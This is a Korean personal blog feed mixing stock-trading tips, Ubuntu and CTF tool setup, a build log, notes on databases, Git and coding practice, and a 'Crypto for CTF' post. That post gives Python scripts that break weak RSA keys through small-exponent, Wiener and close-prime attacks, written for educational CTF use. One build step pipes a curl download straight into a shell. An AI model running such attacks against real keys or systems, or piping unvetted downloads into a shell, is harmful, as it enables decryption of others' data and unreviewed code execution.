- 상한 VI 전에 미리 팔거나 사자. (VI 뒤에는 반등 오지만, 가능한 하한 VI는 도전하지 마)

상한 / 하한 VI 전에 미리 팔거나 사자

- 몇주, 몇개월만 보고 대기업(ex. 삼성전자, LG전자)에 매수하지 마라. (다음 고점은 앞으로 몇 년이 걸리니 최소 2년을 바라보고 매매하자)

대기업(ex. 삼성전자, LG전자) 종목이 현재 고점일 때 매수하지 마라

Q4. 그럼 닌 주식 우째하니?

개인 주식 화면 (32인치 모니터 기준)

- 1번 : 분봉차트 : 분 단위 차트
- 2번 : 일봉차트 : 일(혹은 주, 월, 년)으로 차트 분석 시 주로 사용
- 3번 : 관심 종목 : 내가 관심 있는 종목 즐겨찾기
- 4번 : 현재가 : 현재 거래되고 있는 창
- 5번 : 검색기 : 자신이 원하는 구간에 맞게 검색이 가능하도록 하는 기능
- 6번 : 뉴스티커 : 현재 종목에 뉴스 발생시 표시
- 7번 : HOT 종목 : 금일 가장 많이 검색된 종목
- 8번 : 실시간잔고 : 실시간 거래에 따른 손익 표시
- 9번 : 종합뉴스 : 실시간 뉴스 발생 표시
- 10번 : 전일 대비 상승률 : 금일 전일 대비 상승률

Q5. 아니 그래서 언제 사고팔면 되는디?

▶ 밥그릇

- 매매성향 : 스윙

- 목표수익 : 알아서

- 설명 : 1번 구간에서 내려간 길이만큼 2번 구간 뒤에 3번 구간과 같이 상승함으로 2~3번 구간 사이를 매수 구간이라고 해.

밥그릇

▶ 전환선+시가라인

- 매매성향 : 데이트레이드

- 목표수익 : 3% ~

- 설정 : 일목균형표(전환선(5), 핑크색, 3pt) + 시고저라인(시가라인, 검정색, 3pt)

- 설명 : 시가 기준 첫 번째 돌파 후 2번째 돌파 시 매수

전환선+시가라인

Q6. 마! 다 귀찮다 종목 뽑아내는 거 있잖아

▶ 검색기 (임시비공개: 수익기록중)

- 당일 급등주 검색기

당일 급등주 검색기

당일 급등주 검색기 신호포착

Q7. 개미 말 들어봤자지 전문가 뎃고온나!

- [유튜버] 슈가월드 : 그냥 구독해라

- [유튜버] 주식단테 : 주식 강의는 이분이 제일 좋은 듯

- [강의] 최진기의 주식투자 무조건 따라 하기 : 무조건이라고 말하는 분은 거르...아니 들어나 봐

- [보고서] KB증권 기업분석 : 보고서 읽는 것도 공부 중 하나

- [보고서] 전자공시시스템

- [도서] 플래시 보이스 (저자. 마이클 루이스) : 단타 프로그램 만드신 분

- [블로그] 주식투자 가이드북 : 주식 AtoZ

- [블로그] 수익률 400% 올린 개미가 알려주는 주식 이야기 : ???

* 부족한 실력에 내용이 부실하여 지적과 팁을 알려주시면 저에게 많은 도움이 됩니다.

* 문의 : netkingj@gmail.com

* 근황 : 주식 쳐다볼 시간 없어 자동매매 만들고, 포스팅 업데이트는 다...다..다..음으로...

우분투 초기 환경 구축

NetKingJ — Sun, 13 Dec 2020 19:13:53 +0900

미러서버

대한민국 3대장 미러 서버 : ftp.harukasan.org, mirror.kakao.com, ftp.kaist.ac.kr

$ sudo vim /etc/apt/sources.list
$ sudo sed -ie 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list

: %s/kr.archive.ubuntu.com/mirror.kakao.com

: %s/us.archive.ubuntu.com/mirror.kakao.com

: %s/archive.ubuntu.com/mirror.kakao.com

: %s/security.ubuntu.com/mirror.kakao.com

기본

ssh, htop, net-tools, git, lrzsz, tmux

$ sudo apt-get install -y ssh htop net-tools git lrzsz tmux;

바이너리

gdb, checksec, z3(python3), binwalk, pwntools(python3), peda
$ sudo apt install -y gdb binwalk python3 python3-dev python3-pip git libssl-dev libffi-dev;git clone https://github.com/slimm609/checksec.sh.git;cp checksec.sh/checksec /usr/local/bin/;rm -rf checksec.sh/ pip3 install z3-solver;pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git;git clone https://github.com/longld/peda.git ~/.peda;echo "source ~/.peda/peda.py" >> ~/.gdbinit;

peda-heap

$ git clone https://github.com/Mipu94/peda-heap ~/.peda-heap; echo "source ~/.peda-heap/peda.py" >> ~/.gdbinit

peda-arm

$ git clone https://github.com/alset0326/peda-arm.git ~/.peda-arm; echo "source ~/.peda-arm/peda-arm.py" >> ~/.gdbinit

포렌식

foremost, pdfcrack, outguess
$ sudo apt install -y foremost pdfcrack outguess

업데이트

pip3 업데이트(패키지 포함)

$ python3 -m pip install --upgrade pip; python3 -m pip install --upgrade pip; pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs pip install -U

코멘트

- 2020.12. 링크 오류 수정 예정

pypy3 Install

NetKingJ — Sun, 13 Dec 2020 19:05:04 +0900

0. 버전 : pypy3.7 Linux x86 64 bit

1. Site

https://www.pypy.org/download.html

2. Install (The red letter depends on the version)

$ wget https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2

$ tar -xvf pypy3.7-v7.3.3-linux64.tar.bz2

$ sudo mv pypy3.7-v7.3.3-linux64 /usr/local/bin/

$ sudo ln -s /usr/local/bin/pypy3.7-v7.3.3-linux64/bin/pypy3 pypy3

$ sudo mv pypy3 /usr/local/bin/

~~$ curl -O http://python-distribute.org/distribute\_setup.py~~

~~$ wget https://bootstrap.pypa.io/get-pip.py~~

~~$ pypy3 distribute_setup.py~~

~~$ pypy3 get-pip.py~~

~~$ sudo ln -s /usr/local/bin/pypy3.6-v7.3.0-linux64/bin/pip pypy3-pip~~

~~$ sudo ln -s /usr/local/bin/pypy3.6-v7.3.0-linux64/bin/easy_install pypy3-easy_install~~

~~$ sudo mv pypy3-easy_install pypy3-pip /usr/local/bin/~~

~~$ sudo apt-get install upgrade; sudo apt-get install update~~

3. Fast Install

$ wget https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2; tar -xvf pypy3.7-v7.3.3-linux64.tar.bz2;sudo mv pypy3.7-v7.3.3-linux64 /usr/local/bin/; sudo ln -s /usr/local/bin/pypy3.7-v7.3.3-linux64/bin/pypy3 pypy3;sudo mv pypy3 /usr/local/bin/;

~~4. Module~~

~~$ pypy3 -m pip install {module}~~

5. 코멘트

- 2020.12. 링크 오류

NKHashing ver.200710

NetKingJ — Fri, 11 Dec 2020 18:21:34 +0900

설명

본 프로그램은 해시(혹은 암호화)를 오프라인에서도 할 수 있도록 만들었습니다.

기능

- 해시 : Base64, URL, HEX, SHA-1, SHA-256, MD5

- 암호 : AES-256

- 인수분해 : Factorization

NKHashing ver.200710

다운로드

- 직접 :

NKHashing_v200710.exe

0.04MB

- 깃허브 : github.com/NetKingJ/NKHashing/releases/tag/200710

Release v.200710 · NetKingJ/NKHashing

목적 및 요구사항 본 프로그램은 해킹 방어 대회 CTF(Capture The Flag)에서 자주 사용하는 해시를 오프라인 상황에서도 사용할 수 있도록 만들었습니다. 주요기능 Base64 URL HEX AES-256 SHA-1 SHA-256 MD5 Factor

github.com

Hyperledger Indy SDK Build (삽질중)

NetKingJ — Tue, 1 Dec 2020 12:54:08 +0900

환경

Ubuntu 16.04 LTS (다른 버전에서 원활하게 빌드가 되지 않을 수 있습니다)

설치

$ sudo apt-get install make; sudo apt-get install g++

$ curl https://sh.rustup.rs -sSf | sh

$ sudo apt-get update; sudo apt-get install- y build-essential pkg-config cmake libssl-dev libsqlite3-dev libzmq3-dev libncursesw5-dev

$ cd /tmp; curl https://download.libsodium.org/libsodium/releases/old/unsupported/libsodium-1.0.14.tar.gz | tar -xz; cd /tmp/libsodium-1.0.14; ./configure --disable-shared; make; sudo make install; rm -rf /tmp/libsodium-1.0.14

$ cd $HOME; git clone https://github.com/hyperledger/indy-sdk.git;cd ./indy-sdk/libindy; cargo build

$ cd $HOME/indy-sdk; sudo docker build -f ci/indy-pool.dockerfile -t indy_pool .; sudo docker run -itd -p 9701-9708:9701-9708 indy_pool

...

여기서부터 안되네 ;-;

테스트

$ cd $HOME/indy-sdk/libindy; RUST_TEST_THREADS=1 cargo test

Reference

www.youtube.com/watch?v=P93KRJWtM3Y&ab_channel=Haniumit

Crypto for CTF

NetKingJ — Sat, 24 Oct 2020 00:10:42 +0900

RSA

개인키(d값) 구하기

from gmpy2 import *

p = 
q = 
e = 65537
c = 

n = p * q
phi = (p-1) * (q-1)
d = invert(e, phi)

print ('%x' % pow(c, d, n)).decode("hex")

선택 암호문 공격 (Cycling Cliphertext Attack)
- e 값이 매우 작고, n 값이 큰 경우
- e = 3 경우가 많다

from gmpy2 import *

c = 
e = 

with local_context() as ctx:
    ctx.precision = 3000
    m = iroot(c, e)[0]
    
    print ('%x' % int(m)).decode("hex")

위너 공격 (Weiner's Attack)
- e 값이 매우 큰 경우
- git clone https://github.com/pablocelayes/rsa-wiener-attack.git 설치하여 RSAwienerHacker.py 수정

if __name__ == "__main__":
    e = 
    n =
    c = 
    d = hack_RSA(e, n)

    print ("D = " + str(d))
    print ('%x' % pow(c, d, n)).decode("hex")

C값이 매우 큰 경우

from pwn import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

c = 
n = 
e = 65537

phi = 

d = modinv(e, phi)
m = pow(c, d, n)

flag = unhex(hex(m)[2:])

print('flag: {}'.format(flag))

p와 q 값이 비슷한 경우

from gmpy2 import *

n = 
e = 65537
c = 

p = isqrt(n)

while True:
    q, r = t_divmod(n, p)
    if r == 0:
        break
    p += 1
    
phi = (p-1) * (q-1)
d = invert(e, phi)

print ('%x' % pow(c, d, n)).decode("hex")

서포트

Integer factorization calculator : 소인수분해 계산

FactorDB : 소인수분해 데이터베이스

RsaCtfTool : RSA 도구

Brainfuck : (ex. "[>+++++++++") 암복호화

quipqiup : 치환암호 복호화

CyberChef : 다양한 인코딩 지원

Cryptii : 다양한 인코딩 지원

References

https://defenit.kr/2019/09/24/Crypto/%E3%84%B4%20Research/RSA_for_CTF/

데이터베이스(DB) 기초

NetKingJ — Sat, 17 Oct 2020 18:04:35 +0900

[ 정보 환경 ]

데이터 : 실세계에서 관찰 또는 측정된 사실 또는 값
정보 : 상황에 따라 적절한 결정을 할 수 있게하는 지식

데이터베이스(DB) : 한 조직의 여러 응용 프로그램들이 공유하여 사용하는 통합하고 저장된 운영 데이터의 집합
데이터베이스 관리 시스템(DBMS) : 데이터베이스를 사용할 수 있게 하는 소프트웨어

데이터베이스 조건

통합된 데이터

최소의 중복
통제된 중복

저장 데이터

컴퓨터가 접근할 수 있는 매체에 저장되어야 함

운영 데이터

조직의 업무를 위한 데이터

공용 데이터

조직의 여러 사람들과 응용 프로그램이 공유하여 사용

데이터베이스 특성

온라인 접근성

질의에 대한 온라인 실시간 응답

계속적인 변화

지속적으로 데이터 삽입, 갱신, 삭제

동시 공용

여러 사용자가 동시에 데이터를 접근할 수 있음

내용에 의한 참조

데이터의 조건 또는 특성만 알려주면 그것을 접근이 가능
데이터의 주소 또는 위치를 알 필요는 없어야 함

데이터 구성

개체

현실 세계의 개념 또는 정보의 단위 (ex. 사람, 학생, 교수, 강의실 등)
속성 들로 구성

관계

개체(집합)들 간의 관계

데이터베이스 구조

논리적 구조

일반 사용자 또는 응용 프로그래머 입장의 데이터베이스 구조
관계형 데이터베이스의 경우 레코드들로 이루어진 테이블

물리적 구조

저장 장치에 기록되는 물리적인 배치 구조
ex. 디스크 블록, 포인터 체인, 인덱스, 오버플로우 등

[ 데이터베이스 관리 시스템 ]

파일을 이용한 데이터 처리의 문제점

데이터 종속성

파일의 내부 구조에 응용 프로그램이 영향을 받음

데이터 중복성

동일한 내용의 데이터가 중복해서 관리
데이터 중복으로 인한 문제점

데이터 일관성 상실
보안성 취약
경제성 취약
데이터 무결성 취약

데이터베이스 관리시스템

DBMS 필수 기능

데이터 정의 기능

사용할 데이터의 구조를 정의할 수 있어야 함

데이터 조작 기능

데이터의 검색, 삽입, 삭제, 갱신

데이터 제어 기능

데이터 무결성 유지 기능
권한과 보안 기능
동시 사용에 따른 병행 제어 기능

데이터베이스 관리시스템 (DBMS) 장단점

장점

데이터 중복 최소화
데이터의 공유 사용
데이터 무결성 유지
데이터의 보안 보장
조직 내 데이터의 표준화
데이터 요구의 조정

단점

운영비 증대
특정 응용 프로그램의 복잡화
복잡한 백업과 회복
시스템 취약성 ( DBMS 장애는 곧 업무 중단 )

데이터 독립성

데이터베이스의 논리적 또는 물리적 구조가 변경되더라도 응용 프로그램이 영향을 받지 않게함

논리적 데이터 독립성
물리적 데이터 독립성

각 데이터 구조간에 사상 기능이 필요

[ 데이터베이스 시스템의 구성 ]

데이터베이스 시스템

데이터베이스 시스템의 구성요소

데이터베이스 (DB) ( 스키마 + 실제 데이터 )
데이터베이스 관리시스템 (DBMS)
데이터베이스 언어 (DB Language)
데이터베이스 사용자 (User)
데이터베이스 관리자 (DB Adminitrator)
데이터베이스 컴퓨터 (H/W)
데이터베이스 도구 (Tool/Utility)

스키마 (Schema)

데이터베이스 = 스키마 + 데이터
스키마

데이터베이스 내의 데이터의 구조, 관계, 제약조건에 대한 명세

View에 따라 스키마는 달리 보여질 수 있음

응용 프로그램 관점
조직(기관) 전체의 관점
물리적 저장 장치 수준의 관점

스키마 구조 (3단계)

외부 스키마 ( = 서브 스키마 )

개개의 사용자 또는 응용 프로그램 수준의 스키마

개념 스키마

조직 전체 수준의 스키마
외부 스키마들의 통합

내부 스키마

개념 스키마의 저장 구조를 정의

시스템 카탈로그

스카마 정보, 사상 정보 등을 저장한 시스템 데이터베이스 ( = 데이터 사전 )

데이터베이스 시스템이 사용하는 데이터를 유지하는 시스템용 데이터베이스
메타 데이터를 유지
일반 사용자도 접근 가능

데이터 디렉토리

시스템 카탈로그를 접근하기 위한 정보
사용자 접근 불가능
시스템만 접근 가능

데이터 언어

데이터 정의어 (Data Definition Language)

데이터베이스를 정의하는 용도

데이터 조작어 (Data Manipulation Language)

데이터의 추가, 조회, 갱신, 삭제 용도

데이터 제어어 (Data Control Language)

데이터의 보안, 무결성, 병행제어, 회복을 위한 언어

데이터베이스 도구

대량 적재 도구
Import / Export Tool
백업 도구
파일 재조직 도구
성능 모니터링 도구

[ 관계 데이터베이스 ]

릴레이션 = 릴레이션 스키마 + 릴레이션 인스턴스
릴레이션 스키마

속성들의 집합으로 릴레이션의 논리적 구조
릴레이션 스킴 또는 릴레이션 내포이라고도 함
시간에 따라 변하지 않음

릴레이션 인스턴스

일정 시점에서의 투플(Tuple)들의 집합
시간에 따라 변함

투플

속성에 해당하는 데이터의 모임

속성

단순 속성

단일값

복합 속성

단순 도메인의 결합으로 이루어진 속성 ( ex. DATA는 YEAR, MONTH, DAY 결합 )
일반적으로 하나의 속성값으로 취급

속성의 값은 분해할 수 없는 원자값

도메인

속성이 취할 수 있는 원자값들의 집합

릴레이션의 수학적 의미

릴레이션은 도메인 순서쌍 집합의 부분 집합
릴레이션의 차수 (Degree)

릴레이션을 이루는 속성의 개수

카디널러티 (Cardinality)

릴레이션에 포함된 투플의 개수 ( 인스턴스의 개수 )

널 (Null) 값

정보의 부재를 나타내는 특수한 값

아직 알려지지 않은 값
값이 있지만 아직 모르는 값

공백(Blank) 또는 영(Zero)와는 다름

릴레이션 특성

투플의 상이성

릴레이션에 포함된 투플은 모두 상의
모든 속성의 값이 동일한 투플이 존재해서는 않됨

투플의 무순서성

릴레이션 내의 투플들 간에는 순서가 없음

속성의 무순서성

릴레이션 내의 속성들간에는 순서가 없음

속성의 원자성

모든 속성의 값은 원자값
관계 데이터 모델은 정규화 릴레이션만을 대상으로 함

데이터베이스 키 (Key)

키 (Key)

릴레이션 내의 투플을 항상 유일하게 식별할 수 있는 속성들의 집합
= 투플 식별자

후보키 (Candidate Key)

다음 조건을 모두 만족하는 키

유일성
최소성 ( 하나의 속성이라도 제외하면 키가 되지 못함 )

모든 릴레이션은 적어도 하나의 후보키를 갖음

수퍼키 (Super Key)

유일성은 만족하나 최소성은 만족하지 못하는 키

기본키 (Primary Key, PK)

후보키들 중에서 설계자가 특별히 지정한 키
Null 값을 가질 수 없음
데이터 접근 방법과 관련하여 중요한 의미를 가짐

대체키 (Alternate Key)

기본키로 지정되지 않은 후보키

무결성 제약

개체 무결성 제약

기본키에 해당하는 속성은 Null 값이 될 수 없음

참조 무결성 제약

참조할 수 없는 외래키 (FK) 값을 가져서는 안됨
참조 릴레이션의 외래키 값은 Null 또는 반드시 피참조 릴레이션 기본키로 존재하는 값이어야 함

[ 관계 대수와 관계 해석 ]

관계 대수 ( 절차 언어 )

릴레이션에 대한 연산의 결과는 릴레이션
연산자의 종류

일반 집합 연산자 ( 합집합, 교집합, 차집합, 카티션 프로덕트 )
순수 관계 연산자 ( 실렉트, 프로젝트, 조인, 디비전 )

관계 해석 ( 비절차 언어 )

= 투플 관례 해석
투플 단위의 연산을 나타내는 관계해석식으로 질의문 표현
기능적으로는 관계 대수와 동등
비절차적 특성 ↔ 관계대수는 절차적

도메인 관계 해석

= 도메인 해석
질의문을 도메인 해석식으로 나타냄
도메인 변수를 사용하여 해석식 표현
관계 해석 → 투플 변수 사용

[ SQL ]

테이블(릴레이션) 생성 : create table <테이블 이름> ( 컬럼 자료형 );
테이블 삭제 : drop table <테이블 이름>;
데이터 삽입 : insert into <테이블 이름> values ( 컬럼값 );
데이터 검색 : selext * from <테이블 이름> where <조건식>

데이터 조작언어 (DML)

데이터 조작을 위해서는 CRUD 연산이 가능해야 함

데이터의 생성 (Create)
읽기, 조회, 검색 (Read)
갱신 (Update)
삭제 (Delete)

SQL의 DML은 insert, select, update, delete 명령문에 해당

명령어

insert 명령

테이블에 레코드를 컬럼 순서대로 삽입

insert into <테이블 이름> values ( … )

컬럼 명을 지정하여 삽입

insert inro <테이블 이름>(<컬럼명>) values (<컬럼명>)

select 결과 삽입

insert into <테이블 이름> select 문

update 명령

update <테이블 이름> set <컬럼명=컬럼값> [where 조건식]

delete 명령

테이블 내의 행을 삭제하고 테이블 정의는 유지
테이블 내의 모든 행 삭제

delete <테이블 이름>

조건에 해당하는 행들만 삭제

delete <테이블 이름> where 조건식

commit / rollbak 명령

commit

트랜잭션 커밋
이전 커밋시점부터 현재 커밋 명령 실행 시점까지의 변경 내역을 디스크에 기록

rollback

이전 커밋시점부터 현재 롤백 명령 실행 시점까지의 변경 내역을 모두 취소
서버 또는 클라이언트 프로그램이 비정상 종료되면 현재까지의 작업 내용은 자동적으로 롤백

DDL 명령 (create, alter, drop 등)과 DCL 명령 (grant, revoke 등)은 그 자체가 commit 명령을 포함

DDL, DCL 명령의 실행 결과, 이전의 갱신 내역은 취소 불가

commit, rollback = DCL 명령 ( NOT DML )

select 명령

단일 테이블에 대한 검색
select [컬럼] 또는 * from <테이블명> [where 조건식]

where 조건식

where 조건식 [ and | or 조건식 ]*

select distinct 명령

중복된 레코드는 한번만 출력
select distinct [컬럼] 또는 * from <테이블명> [where 조건식]

order by 구문

select 결과를 정렬하여 출력

asc (오름차순, 디폴트)
dsc (내림차순)

select * from <테이블 명> order by [<컬럼> [ asc | dsc ]]*

like 연산자

문자열 패턴 검색

% : 임의의 길이 및 임의의 문자 의미
_ : 단일한 임의의 문자 의미

in 연산자

주어진 값들에 포함되는 것만을 검색
ex. select * from STUDENT where year in (1, 2);

between 연산자

값의 범위에 따른 검색
ex. select * from STUDENT where year between 1 and 3

alias

테이블 또는 컬럼의 이름을 주어진 이름으로 지정
ex. select sno as 학번, sname as name from STUDENT

group by 절

컬럼값이 같은 것들을 묶어 집계함수를 적용
사용 예시 1 : 학과별로 개설된 과목의 개수를 구하라

select dept, count(*) as 과목수from COURSE group by dept;

사용 예시 2 : 과목별로 기말고사의 평균을 구하라

select cno, avg(finterm) as 기말평균from ENROL group by cno;

having 절

그룹에 대해 조건식을 적용

group by 절에 없는 경우에도 전체 테이블이 대상

사용 예시 : 3명이상 수강하는 과목의 기말평균을 계산하라

select cno, avg(finterm) as 기말평균 from ENROL group by cno having count(*) >= 3;

Long_Live_The_King BI ver.2009

NetKingJ — Fri, 25 Sep 2020 20:35:48 +0900

Samsung Molibe Platform BugBounty Review

NetKingJ — Sat, 15 Aug 2020 18:38:01 +0900

JEB java.lang.NullPointerException 오류 해결 방법

NetKingJ — Sun, 19 Jul 2020 01:17:43 +0900

java.lang.NullPointerException 오류

상태

어플리케이션(APK)이 열리지 않고 "java.lang.NullPointerException" 메시지 출력

해결 방법

최신 JRE을 설치하여 기존에 설치된 JAVA PATH를 지우고 JRE를 PATH 하시면 됩니다.

JRE : https://java.com/ko/download/

Git 사용법

NetKingJ — Sun, 21 Jun 2020 01:51:56 +0900

Git 사용

$ git config --global user.name "이름"

$ git config --global user.email "이메일"

Git 명령어

명령	기능
git clone url [dir]	기존 프로젝트 복재
git add files	스테이지 영역에 파일 추가
git commit	스테이지 영역의 파일을 저장소에 추가
git status	작업 디렉토리와 스테이지 영여의 파일들의 상태를 조회
git diff	스테이지 영역의 파일과 작업 디렉토리의 파일에 대한 차이를 비교
git pull	원격 저장소에 파일들을 가져와서 현재 가지(branch)들과 합병(merge)
git push	원격 저장소에 현재 가지(branch)의 파일들을 합병(merge)

커밋(commit)

- 커밋할 파일은 스테이지되어야 하며 이후 파일 변경시 다시 스테이지 작업

$ git add <file>

- 스테이지된 파일 취소

$ git reset HEAD <file>

- 커밋시에는 모든 스테이지된 파일이 저장소에 기록 (로컬 저장소)

$ git commit -m "Fixing bug #22"

- 이전에 커밋된 상태 되돌리기

$ git checkout <file>

Status & Diff

- 작업 디렉토리와 스테이지 영역의 파일 상태 비교

$ git status

$ git status -s (간략한 정보)

- 작업 디렉토리와 파일과 스테이지 영역 파일과의 차이 비교

$ git diff

$ git diff --cached (로컬 디렉토리 비교)

Log 조회

- 로컬 저장소에 저장된 모든 변경사항

$ git log

$ git log --oneline (간략한 정보)

$ git log -5 (최근 5개 변경사항)

원격 저장소(Remote Repository) 명령어

명령	기능
git remote -v	원격저장소에 대한 정보 확인
git fetch <remote>	원격지에는 존재하나 로컬에는 존재하지 않는 파일들을 가져옴
git push <remote> <branch>	로컬저장소의 파일들을 원격 저장소에 업로드
git remote show <remote>	원격저장소에 대한 상세한 정보를 조회
git remote rename <remote> <new-name>	원격저장소에 대한 이름 변경
git remote remove <remote>	원격저장소에 대한 참조를 제거

Pull & Push

- 원격 저장소로부터 파일들의 최신 버전을 로컬 저장소에 복사

$ git pull origin master

- 로컬 저장소의 파일들을 원격 저장소에 복사

$ git push origin master

- origin : 원격 저장소의 URL

- master : 리모트 브랜치의 이름

태깅(Tagging)

- 일반 태그(이름만 붙임)

$ git tag v1.4

$ git tag (태그 리스트 조회)

- 원격 저장소에 태그 전달

$ git push origin v1.5

- 주석 태그(이름, 설명, 서명 정보를 포함)

$ git tag -a -m "my version 1.4"

$ git tag -a v1.2 9fceb02 (9fceb02 해시로 시작하는 커밋에 태그 추가)

Git Alias

- 자주 사용하는 명령을 다른 이름으로 축약해서 사용

$ git config --global alias.cm commit → git cm

$ git config --global alias.st status → git st

$ git config --global alias.last "log -1 HEAD" → git last

SVN & Git

- SVN

: 중앙 집중화된 저장소 채택

: 중앙의 저장소만 파일의 완벽한 이력 정보를 유지

- Git

: 분산 저장소 사용

: 각각의 저장소는 모두 동등한 기능 제공

: 속도가 빠르고 파일들이 중복해서 존재

: 브랜치와 병합이 자주 발생

코드 작성 기초 (Basic Coding)

NetKingJ — Tue, 2 Jun 2020 15:38:27 +0900

기본 데이터 형

일반적인 숫자의 사용시 유의할 점

매직넘버(Magic Number)를 피하라
0과 1은 그냥 사용
0으로 나누는 것은 미연에 방지
형 변환은 명확하게 수행
- 예) y = x + (float) i
서로 다른 형을 비교하지 않는다
컴파일러의 경고에 주의

정수(integer)를 사용할 때 주의할 점

정수 나눗셈 검사
정수 오버플로우 검사
중간 결과에서 오버플로우 검사

int termA = 1000000;
int termB = 1000000;
int product = termA * termB / 1000000;
System.out.println(...+product);

부동소수점 변수 사용시 주의할 점

서로 크기가 매우 다른 수를 더하거나 빼지 않는다
- 가장 작은 수부터 더하는 것이 좋다
동치 비교를 피한다
라운딩 오류를 예측한다
- 더 큰 정밀도를 사용
- BCD 표기법을 사용한 변수로 변경
- 정수형을 사용(화폐 등을 계산할 때)
특정한 데이터 형을 지원하는 언어 또는 라이브러리가 있는지 확인

문자와 문자열

매직문자와 매직문자열을 사용하지 않는다
하나 모자름(off-by-one) 오류 주의
사용하고 있는 언어가 유니코드(Unicode)를 어떻게 지원하는지 파악
국제화(Internationalization, i18n) / 지역화(Localization, L10n) 전략을 초기에 결정
만약 알파벳만을 사용할 것이면 ISO 8859를 사용하는 것이 좋다
다중 언어를 지우너하려면 유니코드를 사용
문자열 타입 간에 일관된 변환 전략 사용
- 프로그램이 다중 문자코드를 지원하는 경우, 내부적으로는 유니코드를 쓰고 I/O에만 코드 변환 사용

불린(Boolean) 변수

프로그램을 문서화하기 위해 불린 변수를 사용
필요하면 고유한 불린 타입을 만든다
- 불린 타입이 제공되지 않는 언어(C와 같은) 경우, 0 = False, 1 = True

if ( (elementIndex < 0) || (MAX_ELEMENTS < elementIndex) || (elementIndex == lastElementIndex) ) )
{
	…
}

// ↓↓↓↓

finished = (elementIndex<0) || (MAX_ELEMENTS < elementIndex) ;
repeatedEntry = elementIndex == lastElementIndex;
if (finished || repeatedEntry) {
	…
}

열거 형의 사용

가동성 향상
신뢰성
- 컴파일러가 정수 또는 상수를 사용할 때 보다 타입 검사를 강력하게 할 수 있다
수정을 용이하게 하기 위해
- 기존 요소의 할당 값 변경 또는 새로운 요소의 추가가 용이
불린 변수에 대한 대안
- 불린 변수는 2가지만 표시할 수 있지만 열거형은 Status_Success, Status_Warning, Status_FatalError 등과 같이 다양한 값을 표현하기에 유리
타당하지 않는 값 검사
반복문의 범위를 지정하기 위해 열거형의 처음과 마지막 엔트리를 정의
- 연속되지 않는 경우 주의
열거 형의 첫째를 타당하지 않는 값으로 남겨둔다
- 대다수의 언어가 열거형의 처음을 0로 할당하므로 초기화되지 않은 변수(0일 가능성이 높음)를 잡는데 유리

명명된 상수

리터럴 대신 명명된 상수를 사용
확실한 리터럴이더라도 명명된 상수를 쓰는 것이 좋다

for (int i=1; i<12; i++) {
	profit[i] = revenue[i] –expense[i];
}

// ↓↓↓↓

for (int i=1; i<=NUM_MONTHS_IN_YEAR) …
// or
for (int i=Month_Jan ; i<=Month_Dec; i++) …

배열의 사용

배열의 모든 인덱스가 경계 내에 있는지를 확인
경계를 확인해 주는 언어(Java)가 있으나 그렇지 않은 것(C, C++)도 있다
배열 대신 컨테이너를 사용하거나 배열을 순차적인 구조체로 생각하라
배열의 마지막 위치를 확인
다차원 배열에서 첨자의 순서가 정확한지 확인
인덱스가 혼선(Cross-Talk)되지 않도록 주의
- 예) Array[i] 와 Array[j]
C 또는 C++에서는 ARRAY_LENGTH 매크로를 사용

#define ARRAY_LENGTH(x) (sizeof(x) / sizeof(x[0])
float consistency_ratio[] = {
	0.0, 0.0, 0.58, 0.90, 1.12,
	…
	1.59
};
…
for (ratioIdx = 0; ratioIdx < ARRAY_LENGTH(consistency_ratio) ; ratioIdx++) {
	…
}

변수 사용시 일반적인 문제

능률적인 변수 정의 방법

다른 모듈에서 정의한 변수를 사용하려면 반드시 선언
- 선언(Declaration)
- 정의(Definition)
명명 규약(Naming Convention)을 사용
변수의 이름을 검사

부적절한 변수 초기화

변수에 값을 할당한 적이 없다
더 이상 유효하지 않은 변수에 값을 할당
변수의 일부에 값을 할당하고 나머지는 할당하지 않는다

변수 초기화

변수가 정의될 때 초기화
변수가 처음 사용되는 곳에 근접한 위치에서 정의 및 초기화
가능하면 const 또는 final을 사용
카운터와 누산기를 조심
- 재사용 전에 반드시 초기화
객체의 데이터 필드는 생성자에서 초기화
변수를 다시 초기화할 필요가 있는지 검사
- 반복문과 변수 사용시 주의
상수를 흉내내기 위한 변수들은 Startup() 루틴에서 한번만 초기화
모든 변수를 자동으로 초기화해주는 컴파일러 설정 사용
컴파일러 경고 메시지를 활용
입력 인자의 타당성 검사
부적절한 포인터를 검사하기 위해서 메모리 접근 도구 사용
- Memory Leak Detection Tool 사용
프로그램 시작시에 작업 메모리를 초기화
- NULL(0), 0xCC(Intel CPU에서)

변수의 범위

변수에 대한 참조는 지역화
- 동일 변수에 대한 참조는 되도록 가깝게 유지
- 변수들의 폭을 좁게 유지
- 변수의 (평균) 폭이 작을수록 프로그램의 가동성이 좋다

[ 좋은 예시 ]
a = 0;
b = 0;
c = 0;
a = b + c;

[ 안좋은 예시 ]
a = 0;
b = 0;
c = 0;
b = a + 1;
b = b/c;

변수의 수명을 가능한 짧게 유지
- 수명이 짧은 변수는 코드를 읽기 쉽고 변수의 잘못된 사용을 막는다

변수의 범위를 최소화하기 위한 지침

루트(반복문)에서 사용되는 변수는 루트 바로 직전에서 초기화
변수를 사용하기전까지는 변수에 값을 할당하지 않는다
연관된 명령문을 그룹화
연관된 명령문을 별도의 루틴으로 나눈다
처음에는 가시도를 제한하고 필요한 경우에만 가시도를 넓힌다
- private → protected, package, pulic

변수의 지속성(수명)

특정 코드 블록이나 루틴에서만 살아남은 경우
- 코드 블록 또는 루틴에서 정의된 변수에 해당
허용된 동안 살아남은 경우
- new를 이용하여 생성한 객체는 delete(C++) 또는 가비지 컬레션(Java)때까지 살아남는다
프로그램이 종료할 때까지 남는 경우
- static 변수 (C, C++, Java)
- 지역변수
영원히(Persistent) 살아남는 경우
- 데이터베이스 또는 파일에 값을 저장하는 변수

바인딩 시간(Binding Time)

변수와 그것의 값이 서로 연결되는 시간
- 코드 작성시 바인딩(리터럴)
- 컴파일시 바인딩
- 실행시 바인딩
  - 레지스트리 또는 파일 사용
- 객체 생성시
- 적시(Just in Time)
  - 예)윈도우를 화면에 그릴 때
